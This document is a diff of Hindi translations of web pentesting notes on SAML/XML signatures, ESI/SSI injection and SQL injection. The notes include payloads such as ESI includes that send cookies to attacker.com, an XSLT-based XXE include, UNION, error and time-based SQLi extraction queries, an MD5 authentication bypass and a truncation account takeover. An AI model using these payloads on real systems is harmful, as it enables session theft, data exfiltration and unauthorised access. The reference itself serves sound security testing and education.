- **saml:Issuer**: उस इकाई की पहचान करता है जिसने अनुरोध शुरू किया।
|
||||
|
||||
SAML अनुरोध उत्पन्न करने के बाद, SP एक **302 रीडायरेक्ट** के साथ प्रतिक्रिया करता है, जो ब्राउज़र को SAML अनुरोध को HTTP प्रतिक्रिया के **Location** हेडर में एन्कोडेड के साथ IdP की ओर निर्देशित करता है। **RelayState** पैरामीटर लेन-देन के दौरान स्थिति जानकारी बनाए रखता है, यह सुनिश्चित करता है कि SP SAML प्रतिक्रिया प्राप्त करने पर प्रारंभिक संसाधन अनुरोध को पहचानता है। **SAMLRequest** पैरामीटर कच्चे XML स्निपेट का एक संकुचित और एन्कोडेड संस्करण है, जो Deflate संकुचन और base64 एन्कोडिंग का उपयोग करता है।
|
||||
SAML अनुरोध उत्पन्न करने के बाद, SP एक **302 रीडायरेक्ट** के साथ प्रतिक्रिया करता है, जो ब्राउज़र को SAML अनुरोध को HTTP प्रतिक्रिया के **Location** हेडर में एन्कोडेड के साथ IdP की ओर निर्देशित करता है। **RelayState** पैरामीटर लेन-देन के दौरान स्थिति जानकारी बनाए रखता है, यह सुनिश्चित करते हुए कि SP SAML Response प्राप्त करने पर प्रारंभिक संसाधन अनुरोध को पहचानता है। **SAMLRequest** पैरामीटर कच्चे XML स्निपेट का एक संकुचित और एन्कोडेड संस्करण है, जो Deflate संकुचन और base64 एन्कोडिंग का उपयोग करता है।
|
||||
|
||||
# SAML प्रतिक्रिया उदाहरण
|
||||
# SAML Response उदाहरण
|
||||
|
||||
आप [यहाँ पूर्ण SAML प्रतिक्रिया पा सकते हैं](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)। प्रतिक्रिया के मुख्य घटक शामिल हैं:
|
||||
|
||||
- **ds:Signature**: यह अनुभाग, एक XML हस्ताक्षर, आश्वासन के जारीकर्ता की अखंडता और प्रामाणिकता सुनिश्चित करता है। उदाहरण में SAML प्रतिक्रिया में दो `ds:Signature` तत्व होते हैं, एक संदेश के लिए और दूसरा आश्वासन के लिए।
|
||||
- **ds:Signature**: यह अनुभाग, एक XML Signature, आश्वासन के जारीकर्ता की अखंडता और प्रामाणिकता सुनिश्चित करता है। उदाहरण में SAML प्रतिक्रिया में दो `ds:Signature` तत्व होते हैं, एक संदेश के लिए और दूसरा आश्वासन के लिए।
|
||||
- **saml:Assertion**: यह भाग उपयोगकर्ता की पहचान और संभवतः अन्य विशेषताओं के बारे में जानकारी रखता है।
|
||||
- **saml:Subject**: यह आश्वासन में सभी बयानों के प्रमुख विषय को निर्दिष्ट करता है।
|
||||
- **saml:StatusCode**: संबंधित अनुरोध के जवाब में संचालन की स्थिति का प्रतिनिधित्व करता है।
|
||||
- **saml:Conditions**: आश्वासन की वैधता समय और निर्दिष्ट सेवा प्रदाता जैसी शर्तों का विवरण देता है।
|
||||
- **saml:AuthnStatement**: यह पुष्टि करता है कि IdP ने आश्वासन के विषय को प्रमाणित किया।
|
||||
- **saml:AttributeStatement**: यह आश्वासन के विषय का वर्णन करने वाले विशेषताओं को शामिल करता है।
|
||||
- **saml:AuthnStatement**: पुष्टि करता है कि IdP ने आश्वासन के विषय को प्रमाणित किया।
|
||||
- **saml:AttributeStatement**: आश्वासन के विषय का वर्णन करने वाले विशेषताओं को शामिल करता है।
|
||||
|
||||
SAML प्रतिक्रिया के बाद, प्रक्रिया में IdP से 302 रीडायरेक्ट शामिल है। यह सेवा प्रदाता के आश्वासन उपभोक्ता सेवा (ACS) URL पर POST अनुरोध की ओर ले जाता है। POST अनुरोध में `RelayState` और `SAMLResponse` पैरामीटर शामिल होते हैं। ACS SAML प्रतिक्रिया को संसाधित और मान्य करने के लिए जिम्मेदार है।
|
||||
SAML Response के बाद, प्रक्रिया में IdP से 302 रीडायरेक्ट शामिल है। यह सेवा प्रदाता के आश्वासन उपभोक्ता सेवा (ACS) URL पर POST अनुरोध की ओर ले जाता है। POST अनुरोध में `RelayState` और `SAMLResponse` पैरामीटर शामिल होते हैं। ACS SAML Response को संसाधित और मान्य करने के लिए जिम्मेदार है।
|
||||
|
||||
POST अनुरोध प्राप्त होने और SAML प्रतिक्रिया मान्य होने के बाद, उपयोगकर्ता द्वारा प्रारंभ में अनुरोधित संरक्षित संसाधन तक पहुँच दी जाती है। यह `/secure/` एंडपॉइंट पर `GET` अनुरोध और सफल संसाधन पहुँच को दर्शाने वाले `200 OK` प्रतिक्रिया के साथ प्रदर्शित किया गया है।
|
||||
POST अनुरोध प्राप्त होने और SAML Response मान्य होने के बाद, उपयोगकर्ता द्वारा प्रारंभ में अनुरोधित संरक्षित संसाधन तक पहुँच दी जाती है। यह `/secure/` एंडपॉइंट पर `GET` अनुरोध और `200 OK` प्रतिक्रिया के साथ सफल संसाधन पहुँच को दर्शाता है।
|
||||
|
||||
# XML हस्ताक्षर
|
||||
# XML Signatures
|
||||
|
||||
XML हस्ताक्षर बहुपरकारी होते हैं, जो पूरे XML पेड़ या इसके भीतर विशिष्ट तत्वों पर हस्ताक्षर करने में सक्षम होते हैं। इन्हें किसी भी XML ऑब्जेक्ट पर लागू किया जा सकता है, केवल प्रतिक्रिया तत्वों पर नहीं। नीचे XML हस्ताक्षरों के मुख्य प्रकार दिए गए हैं:
|
||||
XML Signatures बहुपरकारी हैं, जो पूरे XML पेड़ या इसके भीतर विशिष्ट तत्वों पर हस्ताक्षर करने में सक्षम हैं। इन्हें किसी भी XML ऑब्जेक्ट पर लागू किया जा सकता है, केवल प्रतिक्रिया तत्वों पर नहीं। नीचे XML Signatures के मुख्य प्रकार दिए गए हैं:
|
||||
|
||||
### XML हस्ताक्षर की मूल संरचना
|
||||
### XML Signature की मूल संरचना
|
||||
|
||||
एक XML हस्ताक्षर आवश्यक तत्वों से बना होता है जैसा कि दिखाया गया है:
|
||||
एक XML Signature आवश्यक तत्वों से मिलकर बनती है जैसा कि दिखाया गया है:
|
||||
```xml
|
||||
<Signature>
|
||||
<SignedInfo>
|
||||
@ -152,7 +152,7 @@ XML हस्ताक्षर बहुपरकारी होते है
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
निष्कर्ष में, XML हस्ताक्षर XML दस्तावेजों को सुरक्षित करने के लिए लचीले तरीके प्रदान करते हैं, प्रत्येक प्रकार विभिन्न संरचनात्मक और सुरक्षा आवश्यकताओं की सेवा करता है।
|
||||
निष्कर्ष में, XML हस्ताक्षर XML दस्तावेज़ों को सुरक्षित करने के लिए लचीले तरीके प्रदान करते हैं, प्रत्येक प्रकार विभिन्न संरचनात्मक और सुरक्षा आवश्यकताओं की सेवा करता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
|
||||
SSI (Server Side Includes) वे निर्देश हैं जो **HTML पृष्ठों में रखे जाते हैं, और सर्वर पर मूल्यांकित होते हैं** जब पृष्ठों को परोसा जा रहा होता है। ये आपको **एक मौजूदा HTML पृष्ठ में गतिशील रूप से उत्पन्न सामग्री** जोड़ने की अनुमति देते हैं, बिना पूरे पृष्ठ को CGI प्रोग्राम या अन्य गतिशील तकनीक के माध्यम से परोसने की आवश्यकता के।\
|
||||
SSI (Server Side Includes) वे निर्देश हैं जो **HTML पृष्ठों में रखे जाते हैं, और सर्वर पर मूल्यांकित किए जाते हैं** जब पृष्ठों को परोसा जा रहा होता है। ये आपको **एक मौजूदा HTML पृष्ठ में गतिशील रूप से उत्पन्न सामग्री** जोड़ने की अनुमति देते हैं, बिना पूरे पृष्ठ को CGI प्रोग्राम या अन्य गतिशील तकनीक के माध्यम से परोसने की आवश्यकता के।\
|
||||
उदाहरण के लिए, आप एक मौजूदा HTML पृष्ठ में एक निर्देश रख सकते हैं, जैसे:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
@ -15,7 +15,7 @@ SSI (Server Side Includes) वे निर्देश हैं जो **HTML
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
SSI का उपयोग कब करना है, और कब आपके पृष्ठ को पूरी तरह से किसी प्रोग्राम द्वारा उत्पन्न किया जाना चाहिए, यह आमतौर पर इस बात का मामला होता है कि पृष्ठ का कितना हिस्सा स्थिर है, और कितना हर बार पृष्ठ परोसने पर पुनः गणना करने की आवश्यकता है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि वर्तमान समय - जो ऊपर दिखाया गया है। लेकिन यदि आपके पृष्ठ का अधिकांश भाग उस समय उत्पन्न हो रहा है जब इसे परोसा जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी चाहिए।
|
||||
SSI का उपयोग कब करना है, और कब आपके पृष्ठ को पूरी तरह से किसी प्रोग्राम द्वारा उत्पन्न किया जाना है, यह आमतौर पर इस बात का मामला होता है कि पृष्ठ का कितना हिस्सा स्थिर है, और कितना हर बार पृष्ठ परोसने पर पुनः गणना करने की आवश्यकता है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि वर्तमान समय - जो ऊपर दिखाया गया है। लेकिन यदि आपके पृष्ठ का अधिकांश भाग उस समय उत्पन्न हो रहा है जब इसे परोसा जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी होगी।
|
||||
|
||||
आप SSI की उपस्थिति का अनुमान लगा सकते हैं यदि वेब एप्लिकेशन उन फ़ाइलों का उपयोग करता है जिनका एक्सटेंशनs**`.shtml`, `.shtm` या `.stm`** है, लेकिन यह केवल यही मामला नहीं है।
|
||||
|
||||
@ -56,7 +56,7 @@ SSI का उपयोग कब करना है, और कब आपक
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
एक समस्या **जानकारी को कैश करना या गतिशील अनुप्रयोग** के रूप में सामग्री का हिस्सा अगले बार सामग्री को पुनः प्राप्त करने के लिए **भिन्न** हो सकता है। यही कारण है कि **ESI** का उपयोग किया जाता है, ESI टैग का उपयोग करके यह संकेत करने के लिए कि **गतिशील सामग्री जो उत्पन्न की जानी चाहिए** उसे कैश संस्करण भेजने से पहले उत्पन्न किया जाना चाहिए।\
|
||||
एक समस्या **जानकारी या गतिशील अनुप्रयोगों को कैश करना** है क्योंकि सामग्री का एक भाग अगले बार जब सामग्री को पुनः प्राप्त किया जाता है तो **भिन्न** हो सकता है। यही कारण है कि **ESI** का उपयोग किया जाता है, ESI टैग का उपयोग करके यह संकेत करने के लिए कि **गतिशील सामग्री जो उत्पन्न की जानी चाहिए** उसे कैश संस्करण भेजने से पहले उत्पन्न किया जाना चाहिए।\
|
||||
यदि एक **हमलावर** कैश सामग्री के अंदर **एक ESI टैग** इंजेक्ट करने में सक्षम है, तो वह दस्तावेज़ पर **मनमाना सामग्री** इंजेक्ट करने में सक्षम हो सकता है इससे पहले कि इसे उपयोगकर्ताओं को भेजा जाए।
|
||||
|
||||
### ESI Detection
|
||||
@ -66,7 +66,7 @@ SSI का उपयोग कब करना है, और कब आपक
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
यदि आप इस हेडर को नहीं ढूंढ पा रहे हैं, तो सर्वर **शायद ESI का उपयोग कर रहा है**।\
|
||||
एक **अंधा शोषण दृष्टिकोण भी उपयोग किया जा सकता है** क्योंकि एक अनुरोध हमलावर के सर्वर पर पहुंच
|
||||
एक **अंधा शोषण दृष्टिकोण भी उपयोग किया जा सकता है** क्योंकि एक अनुरोध हमलावर के सर्वर पर पहुंचना चाहिए:
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
@ -99,12 +99,12 @@ hell<!--esi-->o
|
||||
|
||||
| **सॉफ़्टवेयर** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | हाँ | हाँ | हाँ | हाँ | नहीं |
|
||||
| Varnish Cache | हाँ | नहीं | नहीं | हाँ | हाँ |
|
||||
| Fastly | हाँ | नहीं | नहीं | नहीं | हाँ |
|
||||
| Akamai ESI Test Server (ETS) | हाँ | हाँ | हाँ | नहीं | नहीं |
|
||||
| NodeJS esi | हाँ | हाँ | हाँ | नहीं | नहीं |
|
||||
| NodeJS nodesi | हाँ | नहीं | नहीं | नहीं | वैकल्पिक |
|
||||
| Squid3 | Yes | Yes | Yes | Yes | No |
|
||||
| Varnish Cache | Yes | No | No | Yes | Yes |
|
||||
| Fastly | Yes | No | No | No | Yes |
|
||||
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
|
||||
| NodeJS esi | Yes | Yes | Yes | No | No |
|
||||
| NodeJS nodesi | Yes | No | No | No | Optional |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -122,12 +122,12 @@ Use <!--esi--> to bypass WAFs:
|
||||
```
|
||||
#### कुकी चुराना
|
||||
|
||||
- रिमोट कुकी चुराना
|
||||
- दूरस्थ कुकी चुराना
|
||||
```xml
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
- XSS के माध्यम से HTTP_ONLY कुकी चुराना और इसे प्रतिक्रिया में परावर्तित करना:
|
||||
- XSS के माध्यम से HTTP_ONLY कुकी को चुराना और इसे प्रतिक्रिया में परावर्तित करना:
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
@ -183,7 +183,7 @@ Host: anotherhost.com"/>
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
यह संभव है कि **`eXtensible Stylesheet Language Transformations (XSLT)`** सिंटैक्स का उपयोग ESI में केवल **`dca`** मान को **`xslt`** के रूप में इंगित करके किया जा सके। जो **XSLT** का दुरुपयोग करके XML External Entity भेद्यता (XXE) बनाने और दुरुपयोग करने की अनुमति दे सकता है:
|
||||
यह संभव है कि **`eXtensible Stylesheet Language Transformations (XSLT)`** सिंटैक्स को ESI में केवल **`dca`** मान को **`xslt`** के रूप में इंगित करके उपयोग किया जा सके। जो **XSLT** का दुरुपयोग करके XML External Entity भेद्यता (XXE) बनाने और दुरुपयोग करने की अनुमति दे सकता है:
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
@ -9,7 +9,7 @@
|
||||
|
||||
## प्रवेश बिंदु पहचान
|
||||
|
||||
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **कमजोर** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **सफलता से बचने** के तरीके की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
|
||||
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **कमजोर** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **प्रभावी ढंग से बचने** की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -24,7 +24,7 @@
|
||||
```
|
||||
फिर, आपको यह जानने की आवश्यकता है कि **क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों**। क्वेरी को ठीक करने के लिए, आप **डेटा इनपुट** कर सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार कर सके**, या आप बस **अपना डेटा इनपुट** कर सकते हैं और **अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं**।
|
||||
|
||||
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं, तब आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
|
||||
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं कर रही है, तो आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
|
||||
|
||||
### **टिप्पणियाँ**
|
||||
```sql
|
||||
@ -52,13 +52,13 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Confirming with logical operations
|
||||
### तार्किक संचालन के साथ पुष्टि करना
|
||||
|
||||
SQL injection vulnerability की पुष्टि करने के लिए एक विश्वसनीय विधि **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को बदलकर `?username=Peter' or '1'='1` करने पर समान सामग्री प्राप्त होना SQL injection vulnerability का संकेत देता है।
|
||||
SQL इंजेक्शन कमजोरियों की पुष्टि करने के लिए एक विश्वसनीय विधि **तार्किक संचालन** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को संशोधित करके `?username=Peter' or '1'='1` करने पर समान सामग्री प्राप्त होना SQL इंजेक्शन की कमजोरी को इंगित करता है।
|
||||
|
||||
इसी तरह, **mathematical operations** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL injection का संकेत है।
|
||||
इसी तरह, **गणितीय संचालन** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL इंजेक्शन का संकेत है।
|
||||
|
||||
Logical operation confirmation को प्रदर्शित करने वाले उदाहरण:
|
||||
तार्किक संचालन पुष्टि के उदाहरण:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
@ -94,11 +94,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
कुछ मामलों में **sleep functions की अनुमति नहीं होगी**। फिर, उन फ़ंक्शनों का उपयोग करने के बजाय, आप क्वेरी को **जटिल संचालन करने** के लिए बना सकते हैं जो कई सेकंड लेगी। _इन तकनीकों के उदाहरणों को प्रत्येक तकनीक पर अलग से टिप्पणी की जाएगी (यदि कोई हो)_।
|
||||
कुछ मामलों में **sleep functions की अनुमति नहीं होगी**। फिर, उन फ़ंक्शनों का उपयोग करने के बजाय, आप क्वेरी को **जटिल संचालन करने** के लिए बना सकते हैं जो कई सेकंड लेगी। _इन तकनीकों के उदाहरण प्रत्येक तकनीक पर अलग से टिप्पणी की जाएगी (यदि कोई हो)_।
|
||||
|
||||
### बैक-एंड की पहचान करना
|
||||
|
||||
बैक-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न बैक-एंड के फ़ंक्शनों को निष्पादित करने की कोशिश करना है। आप पिछले अनुभाग के _**sleep**_ **functions** या इनका उपयोग कर सकते हैं (तालिका [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) से:
|
||||
बैक-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न बैक-एंड के फ़ंक्शनों को निष्पादित करने की कोशिश करना है। आप पिछले अनुभाग के _**sleep**_ **functions** या इनका उपयोग कर सकते हैं (तालिका [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -163,7 +163,7 @@ SQLite
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
सही क्वेरी तक अधिक से अधिक नल मान चुनें:
|
||||
जांच करें कि क्वेरी सही है या नहीं, इसके लिए अधिक से अधिक नल मान चुनें:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
@ -184,7 +184,7 @@ _आपको `null` मानों का उपयोग करना चा
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा वही पद्धति होती है।_
|
||||
_हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा एक ही कार्यप्रणाली होती है।_
|
||||
|
||||
## छिपे हुए यूनियन आधारित का शोषण
|
||||
|
||||
@ -192,13 +192,13 @@ _हर अलग-अलग डेटाबेस पर इस डेटा क
|
||||
|
||||
यह आपके लक्षित डेटाबेस प्रबंधन प्रणाली (DBMS) के लिए विशिष्ट डिफ़ॉल्ट तालिकाओं के साथ ब्लाइंड इंजेक्शन तकनीकों का उपयोग करके किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्षित DBMS की दस्तावेज़ीकरण की सलाह दी जाती है।
|
||||
|
||||
एक बार जब क्वेरी निकाली जाती है, तो यह आवश्यक है कि आप अपने पेलोड को मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अनुकूलित करें। इसके बाद, आपके पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जो नए सुलभ यूनियन-आधारित इंजेक्शन के शोषण की सुविधा प्रदान करती है।
|
||||
एक बार जब क्वेरी निकाली जाती है, तो आपके पेलोड को मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अनुकूलित करना आवश्यक है। इसके बाद, आपके पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जो नए सुलभ यूनियन-आधारित इंजेक्शन के शोषण की सुविधा प्रदान करती है।
|
||||
|
||||
अधिक व्यापक अंतर्दृष्टि के लिए, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) पर उपलब्ध पूर्ण लेख को देखें।
|
||||
|
||||
## त्रुटि आधारित का शोषण
|
||||
|
||||
यदि किसी कारणवश आप **आउटपुट** को **नहीं** देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को **एक्स-फिल्ट्रेट** कर सकते हैं।\
|
||||
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** नहीं देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को **एक्स-फिल्ट्रेट** कर सकते हैं।\
|
||||
यूनियन आधारित शोषण में समान प्रवाह का पालन करते हुए, आप DB को डंप करने में सक्षम हो सकते हैं।
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
@ -218,13 +218,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## टाइम आधारित SQLi का शोषण
|
||||
|
||||
इस मामले में **कोई** तरीका **नहीं है** कि **प्रतिक्रिया** को पृष्ठ के संदर्भ के आधार पर **पहचान** किया जा सके। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले जाने के लिए बना सकते हैं यदि अनुमानित वर्ण सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने के लिए](./#confirming-with-timing) देखा है।
|
||||
इस मामले में **कोई** तरीका **नहीं** है जिससे आप पृष्ठ के संदर्भ के आधार पर क्वेरी के **प्रतिक्रिया** को **पहचान** सकें। लेकिन, यदि अनुमानित अक्षर सही है तो आप पृष्ठ को **लोड होने में अधिक समय** ले सकते हैं। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने के लिए](./#confirming-with-timing) देखा है।
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड कमजोरियों** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
|
||||
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड वल्नरेबिलिटीज** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
|
||||
|
||||
**Oracle** **स्टैक्ड क्वेरीज़** का समर्थन नहीं करता। **MySQL, Microsoft** और **PostgreSQL** उनका समर्थन करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -266,7 +266,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
|
||||
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने के लिए इनपुट तैयार कर सकते हैं जो, जब हैश किया जाता है, अप्रत्याशित SQL कमांड भागों का उत्पादन करता है, जिससे अनधिकृत पहुंच होती है।
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -317,7 +317,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
यदि डेटाबेस कमजोर है और उपयोगकर्ता नाम के लिए अधिकतम अक्षरों की संख्या उदाहरण के लिए 30 है और आप उपयोगकर्ता **admin** का अनुकरण करना चाहते हैं, तो एक उपयोगकर्ता नाम बनाने की कोशिश करें: "_admin \[30 स्पेस] a_" और कोई भी पासवर्ड।
|
||||
|
||||
डेटाबेस **जांच करेगा** कि क्या प्रस्तुत **उपयोगकर्ता नाम** डेटाबेस के अंदर **मौजूद** है। यदि **नहीं**, तो यह **उपयोगकर्ता नाम** को **अधिकतम अनुमत अक्षरों की संख्या** (इस मामले में: "_admin \[25 स्पेस]_") तक **कट** करेगा और फिर यह **स्वतः सभी स्पेस को अंत में हटा देगा** डेटाबेस के अंदर उपयोगकर्ता "**admin**" को **नए पासवर्ड** के साथ अपडेट करेगा (कुछ त्रुटि उत्पन्न हो सकती है लेकिन इसका मतलब यह नहीं है कि यह काम नहीं किया है)।
|
||||
डेटाबेस **जांच करेगा** कि क्या प्रस्तुत **उपयोगकर्ता नाम** डेटाबेस के अंदर **मौजूद** है। यदि **नहीं**, तो यह **उपयोगकर्ता नाम** को **अधिकतम अनुमत अक्षरों की संख्या** (इस मामले में: "_admin \[25 स्पेस]_") तक **कट** कर देगा और फिर यह **स्वतः सभी स्पेस को अंत में हटा देगा** डेटाबेस के अंदर उपयोगकर्ता "**admin**" को **नए पासवर्ड** के साथ अपडेट करेगा (कुछ त्रुटि उत्पन्न हो सकती है लेकिन इसका मतलब यह नहीं है कि यह काम नहीं किया है)।
|
||||
|
||||
अधिक जानकारी: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
@ -331,7 +331,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
